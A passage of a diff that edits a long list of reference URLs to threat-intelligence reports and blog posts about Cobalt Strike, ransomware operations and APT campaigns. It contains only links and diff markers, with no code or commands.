"https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", "https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://thehackernews.com/2022/05/this-new-fileless-malware-hides.html", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://www.brighttalk.com/webcast/7451/462719", + "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://isc.sans.edu/diary/28636", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://vanmieghem.io/blueprint-for-evading-edr-in-2022/", "https://blog.group-ib.com/REvil_RaaS", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", "https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/", "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", + "http://www.secureworks.com/research/threat-profiles/gold-winter", "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://asec.ahnlab.com/en/31811/", "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", - "https://www.macnica.net/file/mpression_automobile.pdf", + "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", + "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + "https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/", "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://www.inde.nz/blog/different-kind-of-zoombomb", "https://www.hhs.gov/sites/default/files/bazarloader.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", "https://www.deepinstinct.com/2021/03/18/cobalt-strike-post-exploitation-attackers-toolkit/", "https://asec.ahnlab.com/ko/19860/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://dansec.medium.com/detecting-malicious-c2-activity-spawnas-smb-lateral-movement-in-cobaltstrike-9d518e68b64", "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://us-cert.cisa.gov/ncas/alerts/aa21-148a", + "https://experience.mandiant.com/trending-evil-2/p/1", "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", + "https://blog.zsec.uk/cobalt-strike-profiles/", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", "https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811", + "https://boschko.ca/cobalt-strike-process-injection/", "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", - "https://connormcgarr.github.io/thread-hijacking/", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", "https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups", "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", "https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/", "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5", "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://isc.sans.edu/diary/rss/27176", + "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://community.riskiq.com/article/c88cf7e6", "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf", + "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", + "https://quake.360.cn/quake/#/reportDetail?id=5fc6fedd191038c3b25c4950", "https://community.riskiq.com/article/f0320980", - "https://www.youtube.com/watch?v=ysN-MqyIN7M", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures", "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", @@ -13246,16 +15916,30 @@ "https://twitter.com/GossiTheDog/status/1438500100238577670", "https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware", "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671", + "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns", "https://twitter.com/VK_Intel/status/1294320579311435776", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes", "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://michaelkoczwara.medium.com/mapping-and-pivoting-cobalt-strike-c2-infrastructure-attributed-to-cve-2021-40444-438786fcd68a", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", "https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/", "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f", "https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929", + "https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", "https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt", "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", - "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", + "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", + "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/", + "https://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html", "https://www.youtube.com/watch?v=gfYswA_Ronw", "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", "https://blog.cobaltstrike.com/", @@ -13265,189 +15949,298 @@ "https://www.secureworks.com/research/threat-profiles/gold-waterfall", "https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b", "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", + "https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services", + "https://www.varonis.com/blog/hive-ransomware-analysis", "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/cobalt-strike-configuration-extractor-and-parser/", + "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", + "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/", + "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", "https://twitter.com/swisscom_csirt/status/1354052879158571008", "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", "https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/", "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", - "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", + "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", "https://web.br.de/interaktiv/ocean-lotus/en/", "https://twitter.com/alex_lanstein/status/1399829754887524354", - "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/", "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", + "https://www.brighttalk.com/webcast/7451/462719", "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection", "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", "https://blog.macnica.net/blog/2020/11/dtrack.html", "https://blog.group-ib.com/colunmtk_apt41", "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear", "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", - "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", - "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://www.mandiant.com/resources/apt41-us-state-governments", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", "https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://assets.virustotal.com/reports/2021trends.pdf", "http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems", + "https://blog.morphisec.com/log4j-exploit-targets-vulnerable-unifi-network-applications", + "https://stillu.cc/threat-spotlight/2021/11/13/domain-fronting-fastly/", "https://401trg.com/burning-umbrella/ ", + "https://twitter.com/Unit42_Intel/status/1461004489234829320", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", - "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", "https://www.youtube.com/watch?v=6SDdUVejR2w", "https://www.youtube.com/watch?v=y65hmcLIWDY", "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", + "https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/", "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/", "https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/", + "https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/", + "https://blog.morphisec.com/log4j-exploit-hits-again-vulnerable-vmware-horizon-servers-at-risk", "https://www.malware-traffic-analysis.net/2021/09/17/index.html", "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://malware-traffic-analysis.net/2021/09/29/index.html", "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", + "https://isc.sans.edu/diary/rss/28448", "https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", "https://isc.sans.edu/diary/rss/26862", "https://twitter.com/elisalem9/status/1398566939656601606", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-148a", + "https://www.mandiant.com/resources/sabbath-ransomware-affiliate", + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/", + "https://redcanary.com/blog/intelligence-insights-december-2021", "https://breakpoint-labs.com/blog/cobalt-strike-and-ransomware-tracking-an-effective-ransomware-campaign/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_291118.pdf", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/", "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.mandiant.com/media/12596/download", "https://blog.cobaltstrike.com/2020/12/08/a-red-teamer-plays-with-jarm/", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://elastic.github.io/security-research/intelligence/2022/01/02.collecting-cobalt-strike-beacons/article/", + "https://isc.sans.edu/diary/rss/28664", + "https://www.youtube.com/watch?v=LA-XE5Jy2kU", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", "https://mez0.cc/posts/cobaltstrike-powershell-exec/", + "https://isc.sans.edu/diary/26752", + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", - "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", + "https://research.nccgroup.com/2022/03/25/mining-data-from-cobalt-strike-beacons/", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html", - "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", + "https://www.macnica.net/file/mpression_automobile.pdf", "https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise", + "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", "https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", "https://www.guidepointsecurity.com/yet-another-cobalt-strike-loader-guid-edition/", "https://twitter.com/redcanary/status/1334224861628039169", "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://thedfirreport.com/2022/03/07/2021-year-in-review/", "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", "https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734", "https://blogs.jpcert.or.jp/en/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html", + "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", "https://www.trendmicro.com/en_us/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html", + "https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/", "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", "https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/", "https://isc.sans.edu/diary/27308", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e", - "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", + "https://connormcgarr.github.io/thread-hijacking/", "https://paper.seebug.org/1301/", "https://netresec.com/?b=214d7ff", "https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e", + "https://elastic.github.io/security-research/intelligence/2022/01/03.extracting-cobalt-strike-beacon/article/", "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "https://www.youtube.com/watch?v=borfuQGrB8g", "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", + "https://www.mandiant.com/media/10916/download", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://www.lac.co.jp/lacwatch/people/20180521_001638.html", "https://www.istrosec.com/blog/apt-sk-cobalt/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", "https://twitter.com/ffforward/status/1324281530026524672", "https://community.riskiq.com/article/0bcefe76", "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://www.telsy.com/download/5972/?uid=d7c082ba55", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", "https://github.com/blackorbird/APT_REPORT/blob/master/Oceanlotus/apt32_report_2019.pdf", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", - "https://isc.sans.edu/diary/26752", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", "https://twitter.com/TheDFIRReport/status/1356729371931860992", "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/", "https://twitter.com/Cryptolaemus1/status/1407135648528711680", + "https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/", + "https://www.mandiant.com/resources/defining-cobalt-strike-components", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/#id3", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", "https://redcanary.com/blog/grief-ransomware/", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://asec.ahnlab.com/en/34549/", "https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", + "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", "https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts", + "https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage", "https://blog.morphisec.com/proxyshell-exchange-exploitation-now-leads-to-an-increasing-amount-of-cobaltstrike-backdoors", - "https://www.youtube.com/watch?v=GfbxHy6xnbA", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://wbglil.gitbook.io/cobalt-strike/", "https://malwarelab.eu/posts/fin6-cobalt-strike/", + "https://isc.sans.edu/diary/rss/28752", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", + "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", "https://www.secureworks.com/research/threat-profiles/gold-kingswood", 